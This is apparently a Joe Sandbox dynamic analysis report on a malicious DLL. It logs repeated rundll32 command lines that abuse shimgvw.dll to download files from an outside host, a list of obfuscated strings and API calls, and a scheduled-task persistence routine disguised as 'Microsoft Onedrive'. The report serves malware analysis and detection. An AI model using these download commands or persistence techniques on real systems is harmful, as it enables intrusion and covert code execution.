Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:45:53
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: rundll32.exePID: 7748, Parent PID: 7472

General

Target ID:	9
Start time:	16:45:54
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:45:54
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: rundll32.exePID: 7952, Parent PID: 7396

General

Target ID:	11
Start time:	16:45:56
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: rundll32.exePID: 8024, Parent PID: 7396

General

Target ID:	12
Start time:	16:45:57
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Disassembly

Reset < >

Analysis Process: loaddll32.exePID: 7396, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	33

Executed Functions

Function 6F9E1629 Relevance: 37.0, APIs: 12, Strings: 9, Instructions: 291
filesleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00000000,456EBF13,%s%s,00000000,00000000), ref: 6F9E16D8
_strlen.LIBCMT ref: 6F9E17B1
ExpandEnvironmentStringsW.KERNEL32(?,?,000000FF), ref: 6F9E1809

Part of subcall function 6F9E1CFA: CoInitialize.OLE32(00000000), ref: 6F9E1D40
Part of subcall function 6F9E1CFA: CoCreateInstance.OLE32(6F9FB200,00000000,00000001,6F9FB1F0,?), ref: 6F9E1D59
Part of subcall function 6F9E1CFA: CoUninitialize.OLE32 ref: 6F9E1D70

CopyFileW.KERNEL32(?,?,00000000), ref: 6F9E191C
Sleep.KERNEL32(000003E8), ref: 6F9E1927

Part of subcall function 6F9EB8FB: MoveFileExW.KERNEL32(?,6F9E1940,00000002,?,6F9E1940,?,?), ref: 6F9EB908
Part of subcall function 6F9EB8FB: GetLastError.KERNEL32 ref: 6F9EB912
Part of subcall function 6F9EB8FB: __dosmaperr.LIBCMT ref: 6F9EB919

TerminateProcess.KERNEL32(00000000), ref: 6F9E1953
CloseHandle.KERNEL32 ref: 6F9E195F
CloseHandle.KERNEL32 ref: 6F9E1967
TerminateProcess.KERNEL32(00000000), ref: 6F9E19C4
CloseHandle.KERNEL32 ref: 6F9E19D0
CloseHandle.KERNEL32 ref: 6F9E19D8
FindNextFileW.KERNELBASE(00000000,?), ref: 6F9E19ED

Strings

WlrMakeService, xrefs: 6F9E18E1
IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7B, xrefs: 6F9E1794
%sk, xrefs: 6F9E1816
%s\%s, xrefs: 6F9E1726, 6F9E18F4, 6F9E1999
%s\*.*, xrefs: 6F9E16B0
wlrmdr.exe, xrefs: 6F9E18D7
-s 3600 -f 0 -t _ -m _ -a 11 -u , xrefs: 6F9E183C, 6F9E184C, 6F9E184D
PT30S, xrefs: 6F9E18AC
%s%s, xrefs: 6F9E1657

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: CloseFileHandle$FindProcessTerminate$CopyCreateEnvironmentErrorExpandFirstInitializeInstanceLastMoveNextSleepStringsUninitialize__dosmaperr_strlen
String ID: %s%s$%s\%s$%s\*.*$%sk$-s 3600 -f 0 -t _ -m _ -a 11 -u $IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7B$PT30S$WlrMakeService$wlrmdr.exe
API String ID: 3479604460-3724355521
Opcode ID: 865d66bfa23dd2daa7db51eadbdcba607887d4989aaba24b489d03dfd68a548e
Instruction ID: 2b3570ad5de0d49ab488c1ca6e9674aea4e97dff0f1587f219a45bb17a011366
Opcode Fuzzy Hash: 865d66bfa23dd2daa7db51eadbdcba607887d4989aaba24b489d03dfd68a548e
Instruction Fuzzy Hash: A7B19271904349AADF21DFA4DC49BEE37B8BF19318F00822AE908961C1EB759A85CB51

Function 6F9E2959 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156
sleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 6F9E29A3
GetEnvironmentVariableW.KERNEL32(?,?,00000032,?,?,?,?,?,?,?,?,?,00000001,00000000,?,00000000), ref: 6F9E29F6

Part of subcall function 6F9E1274: GetModuleHandleW.KERNEL32(kernel32.dll,000000C8,00000000,6FA00E3C), ref: 6F9E12AB
Part of subcall function 6F9E1274: _strlen.LIBCMT ref: 6F9E12CA
Part of subcall function 6F9E1274: GetProcAddress.KERNEL32(?), ref: 6F9E1318
Part of subcall function 6F9E1274: _strlen.LIBCMT ref: 6F9E1336
Part of subcall function 6F9E1274: GetProcAddress.KERNEL32(?), ref: 6F9E137E
Part of subcall function 6F9E1274: _strlen.LIBCMT ref: 6F9E13A1

_strlen.LIBCMT ref: 6F9E2A1C

Part of subcall function 6F9E140F: _strlen.LIBCMT ref: 6F9E148D
Part of subcall function 6F9E140F: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FA04464), ref: 6F9E151B

Sleep.KERNELBASE(000005DC), ref: 6F9E2A74
Sleep.KERNELBASE(00007530), ref: 6F9E2A7B
_strlen.LIBCMT ref: 6F9E2A9A
_strlen.LIBCMT ref: 6F9E2AFD

Part of subcall function 6F9E1629: FindFirstFileW.KERNELBASE(?,00000000,456EBF13,%s%s,00000000,00000000), ref: 6F9E16D8
Part of subcall function 6F9E1629: FindNextFileW.KERNELBASE(00000000,?), ref: 6F9E19ED

Strings

bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB, xrefs: 6F9E2A01
[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB, xrefs: 6F9E2A7D
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>, xrefs: 6F9E2AE2
gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>, xrefs: 6F9E2983
%s%s, xrefs: 6F9E2AC1, 6F9E2AC7, 6F9E2B2A

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: _strlen$AddressFileFindProcSleep$CreateEnvironmentFirstHandleModuleNextProcessVariable
String ID: %s%s$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>$[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB$gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>
API String ID: 2056693606-1305241286
Opcode ID: df55d3a155478a89b3f0b06dd6e76a05333401030271a5f2c61872b7ee2740d8
Instruction ID: 17d94b2857fc7741f245efeb471b1fcccb32c793a4b521c6de76663591f44adb
Opcode Fuzzy Hash: df55d3a155478a89b3f0b06dd6e76a05333401030271a5f2c61872b7ee2740d8
Instruction Fuzzy Hash: B351FEB1904345ABD725DB60E880DEB77ECFF9924CF40492DA549932C1EB35EA05CB62

Function 6F9E140F Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 159
processsleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 6F9E148D
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FA04464), ref: 6F9E151B
_strlen.LIBCMT ref: 6F9E1573
Sleep.KERNELBASE(000003E8), ref: 6F9E15EB
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FA04480), ref: 6F9E160C

Strings

bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB, xrefs: 6F9E1558
%s %s, xrefs: 6F9E14E4, 6F9E15CC
`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>, xrefs: 6F9E146E

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: CreateProcess_strlen$Sleep
String ID: %s %s$`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB
API String ID: 688041527-2059495477
Opcode ID: f392528dd9747850c67de7894e4d38d4821dd312b5f699fb2f2911e59873dbb5
Instruction ID: 0a2ed944832ab80346731a79398aa8db3c606314b1904ac9d2d30e768f9b2d10
Opcode Fuzzy Hash: f392528dd9747850c67de7894e4d38d4821dd312b5f699fb2f2911e59873dbb5
Instruction Fuzzy Hash: CC5161B2504344BEE321DB64DC85FABB7ECEF99248F40482DB648D31C1EB74E9448B66

Function 6F9E3013 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F9E305A
___scrt_uninitialize_crt.LIBCMT ref: 6F9E3074

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 08a5ccfb64dd6d1db816cfbae6590f655f48eb6b415d1fce6836fc06bceb3bac
Instruction ID: 2838cea00fcf763d6ca778bbbb107e5b8b1a72ecfc90231cdc09bd71a6973925
Opcode Fuzzy Hash: 08a5ccfb64dd6d1db816cfbae6590f655f48eb6b415d1fce6836fc06bceb3bac
Instruction Fuzzy Hash: 4141B172D04714EEDB228FB5D842FAE7E79EF817A9F00411AE814562E1D731D9068FA0

Function 6F9E30C3 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6F9E3100
dllmain_crt_dispatch.LIBCMT ref: 6F9E3117
dllmain_raw.LIBCMT ref: 6F9E315F
dllmain_crt_dispatch.LIBCMT ref: 6F9E3172
dllmain_raw.LIBCMT ref: 6F9E3185

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: a76b709614151968b494c9b7d4a54c37225d2d521a341383d6d2daae4fe11e71
Instruction ID: 3cfb22a009475ad28d025200fece35524928e05d4f0d5e0287fb5159dbdaf047
Opcode Fuzzy Hash: a76b709614151968b494c9b7d4a54c37225d2d521a341383d6d2daae4fe11e71
Instruction Fuzzy Hash: 17217C72E04715EECB338F75C842EAF3E79AF81B95B00411AF8145A2E1D731DD418BA0

Function 6F9E2F0C Relevance: 4.6, APIs: 3, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F9E2F59

Part of subcall function 6F9E385E: mydllmain.DLL1(00000001,00000000,00000001,6F9E2F5E,6FA01F80,00000010,6F9E2EF4,?,?,?,6F9E311C,?,00000001,?,?,00000001), ref: 6F9E3877

Part of subcall function 6F9E3428: InitializeSListHead.KERNEL32(6FA03D60,6F9E2F63,6FA01F80,00000010,6F9E2EF4,?,?,?,6F9E311C,?,00000001,?,?,00000001,?,6FA01FC8), ref: 6F9E342D

Part of subcall function 6F9EC38F: mydllmain.DLL1(?,6F9EAAAA,?,6F9EC639,6F9FB194,6F9FB198,6FA02248,00000014,6F9EC571,6FA02268,00000008,6F9EC6F9,6F9E6503,?,B586E81C,456EBF13), ref: 6F9EC3A6

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6F9E2FC3
mydllmain.DLL1(?,00000002,00000001,6FA01F80,00000010,6F9E2EF4,?,?,?,6F9E311C,?,00000001,?,?,00000001,?), ref: 6F9E2FD9

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: mydllmain$Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 1337761313-0
Opcode ID: 0e771cbaadb0c3c276046ba51d543496db5c172226b7bc970c9b55ed07a4ac0a
Instruction ID: b97925093bbd51652eede3a5556f00390acfe1ff0f7d462d8c0bc127fa2994aa
Opcode Fuzzy Hash: 0e771cbaadb0c3c276046ba51d543496db5c172226b7bc970c9b55ed07a4ac0a
Instruction Fuzzy Hash: 5921D572A08702AADF135FB5D802FDD3F616F6637CF10481AD4856B1D2DB32D056C612

Function 6F9EE5D8 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6F9EE624
GetFileType.KERNELBASE(00000000), ref: 6F9EE636

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 794e38b7d0b160581cd887f6f084ed83614d568fe34320fa3a6c9d188be21a87
Instruction ID: b9c82337add3aca1406bb604f1e19d11d0249ea79b55bfe257f24f1b116c8a2d
Opcode Fuzzy Hash: 794e38b7d0b160581cd887f6f084ed83614d568fe34320fa3a6c9d188be21a87
Instruction Fuzzy Hash: D011E671A04B524ADB326E3E8C987567AACAF4B734B26071FE0B6871F1C630E4868644

Function 6F9F2E90 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mydllmain.DLL1(00000001,00000000,?,?,6F9ED02D,6F9FC018,6F9FC098,6F9E35C9,?,6F9E2F1F,00000000,6FA01F80,00000010,6F9E2EF4,?,?), ref: 6F9F2EAA
mydllmain.DLL1(00000000,00000001,00000000,?,?,6F9ED02D,6F9FC018,6F9FC098,6F9E35C9,?,6F9E2F1F,00000000,6FA01F80,00000010,6F9E2EF4,?), ref: 6F9F2EDA

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: mydllmain
String ID:
API String ID: 979097349-0
Opcode ID: db44138d5476bce643345ed35bfeae61f6856f6db0661a7a4afa86fe4605d2e8
Instruction ID: 6f31454d5a35569047882b67defe9587e3a8c6f2a3edcfb6ad8386f54621df05
Opcode Fuzzy Hash: db44138d5476bce643345ed35bfeae61f6856f6db0661a7a4afa86fe4605d2e8
Instruction Fuzzy Hash: C301A232A0669497DF229E599CC43EAB36D9F51220B21052EEC7A6B2C0C771FC4687A0

Function 6F9F2E87 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mydllmain.DLL1(00000001,00000000,?,?,6F9ED02D,6F9FC018,6F9FC098,6F9E35C9,?,6F9E2F1F,00000000,6FA01F80,00000010,6F9E2EF4,?,?), ref: 6F9F2EAA
mydllmain.DLL1(00000000,00000001,00000000,?,?,6F9ED02D,6F9FC018,6F9FC098,6F9E35C9,?,6F9E2F1F,00000000,6FA01F80,00000010,6F9E2EF4,?), ref: 6F9F2EDA

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: mydllmain
String ID:
API String ID: 979097349-0
Opcode ID: 157b67d090d7dbf46f6b7ee6b837fdeedfd49d8a45799cbc4cc7e21b528c7489
Instruction ID: 306308cec314d3d4e74cb6ca6f566e4aeb82a701340c2a867a4e01a15f8a8999
Opcode Fuzzy Hash: 157b67d090d7dbf46f6b7ee6b837fdeedfd49d8a45799cbc4cc7e21b528c7489
Instruction Fuzzy Hash: A701FC32A066845BDF129E18DCC43AAB36C9F51224B21052EDC766F1C1C735F8468790

Function 6F9EF9D8 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,00000001,6F9EAAAA,?,6F9EDA5C,00000001,00000364,00000007,000000FF,6F9EAAAA,6F9EAAAA,?,6F9E64D2,6F9EC1F7,F08BD84D), ref: 6F9EFA19

Part of subcall function 6F9EC30C: mydllmain.DLL1(?,00000001,?,6F9EFA0B,00000001,?,6F9EDA5C,00000001,00000364,00000007,000000FF,6F9EAAAA,6F9EAAAA,?,6F9E64D2,6F9EC1F7), ref: 6F9EC322

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: AllocateHeapmydllmain
String ID:
API String ID: 2479503475-0
Opcode ID: 770f530231a20ccf6c6378675263a69336955838bc26cfad333a7bc42b228042
Instruction ID: 793bc27fe7137431ded9fd8a40187b7b36361ab248c44a1d3b11f6180b3413a5
Opcode Fuzzy Hash: 770f530231a20ccf6c6378675263a69336955838bc26cfad333a7bc42b228042
Instruction Fuzzy Hash: 37F0B436345626ABEF535A26B905A9A379CBF8577CB118117AC18AE1C4FB20E40186E1

Function 6F9E1000 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 6F9E1014

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a6d17202687152cbcfb55542fb7a407863c434a54d7a9ee4ffc0fdb367169027
Instruction ID: 9000987cb098be165034ac60058ec63f69ca38bdac99d9a8f45fba4bf5daea90
Opcode Fuzzy Hash: a6d17202687152cbcfb55542fb7a407863c434a54d7a9ee4ffc0fdb367169027
Instruction Fuzzy Hash: 16B09B3559534296E2415B60444CB1D77545F52257F04C415E169800D4CA20C0958A72

Non-executed Functions

Function 6F9E1CFA Relevance: 72.4, APIs: 19, Strings: 22, Instructions: 634comCOMMONLIBRARYCODE

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 6F9E1D40
CoCreateInstance.OLE32(6F9FB200,00000000,00000001,6F9FB1F0,?), ref: 6F9E1D59
CoUninitialize.OLE32 ref: 6F9E1D70
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000001), ref: 6F9E1DAF
VariantInit.OLEAUT32(?), ref: 6F9E1DD0
VariantInit.OLEAUT32(?), ref: 6F9E1DE4
VariantInit.OLEAUT32(?), ref: 6F9E1DF8
VariantInit.OLEAUT32(?), ref: 6F9E1E0C
VariantClear.OLEAUT32(?), ref: 6F9E1E5B
VariantClear.OLEAUT32(?), ref: 6F9E1E61
VariantClear.OLEAUT32(?), ref: 6F9E1E67

Strings

Cannot put trigger ID: %x, xrefs: 6F9E2084
Error saving the Task : %x, xrefs: 6F9E22D3
Cannot get Root Folder pointer: %x, xrefs: 6F9E1ED1
QueryInterface call failed for IExecAction: %x, xrefs: 6F9E215B
Failed to create an instance of ITaskService: %x, xrefs: 6F9E1D64
Microsoft Onedrive, xrefs: 6F9E1F2C
QueryInterface call failed on IRegistrationTrigger: %x, xrefs: 6F9E2040
Cannot get Task collection pointer: %x, xrefs: 6F9E2102
Cannot get identification pointer: %x, xrefs: 6F9E1F22
ITaskService::Connect failed: %x, xrefs: 6F9E1E78
Cannot put identification info: %x, xrefs: 6F9E1F6F
WlrMakeService, xrefs: 6F9E2252
Trigger1, xrefs: 6F9E204A
Cannot put the action executable path: %x, xrefs: 6F9E21F2
Cannot create action: %x, xrefs: 6F9E212D
Cannot put setting info: %x, xrefs: 6F9E1FC7
Cannot put registration trigger delay: %x, xrefs: 6F9E20E3
Success! Task successfully registered. , xrefs: 6F9E22F9
Failed to create a task definition: %x, xrefs: 6F9E1EF9
